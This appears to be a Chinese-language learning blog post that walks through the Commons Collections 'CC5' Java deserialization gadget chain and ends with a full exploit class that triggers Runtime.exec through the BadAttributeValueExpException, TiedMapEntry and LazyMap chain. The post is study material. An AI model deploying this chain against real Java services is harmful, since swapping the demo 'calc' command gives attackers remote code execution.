CC5

0X00前言

cc5其实是再cc版本3.1的一个漏洞,分析都是结合这b站白日梦组长和ys官方的链子组合分析

0x01分析

image-20221115083550151

这条链子的入口是一个BadAttributeValueExpException这一个新的类,它的readObject方法调用了toString方法,在TiedMapEntry的toString方法中

image-20221115084541411image-20221115084548890

调用getValue方法,然后这个getValue方法那么谁的get方法调用呢这个是我们在cc链中经常利用的Lazymap整个链子的构成到这里就很明了了在BadAttributeValueExpException反序列化调用TiedMapEntry中的get然后再TiedMapEntry中构造Lazymap,

0x02完整的链子

先看一个小疑惑image-20221115085629742

这里是入口类的构造函数有一个三元判断符号我们传入的值是否是null是null不执行东西不是null执行传入对象的toString,所以我们构造函数的时候传入null

完整exp

public class CC5 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap= new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaaa");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class<? extends BadAttributeValueExpException> aClass = badAttributeValueExpException.getClass();
        Field valFiled = aClass.getDeclaredField("val");
        valFiled.setAccessible(true);
        valFiled.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unseriallize("src.bin");

0x03

学到这里cc链能够自己分析自己写exp了,自己写了那么多exp理解也有逐渐加深,好像还有一个cc11嘛,到时候再看看,然后可以进入shiro和马子分析了冰蝎和内存马。

posted @ 2022-11-28 14:48  不成大哥不改名  阅读(232)  评论(0编辑  收藏  举报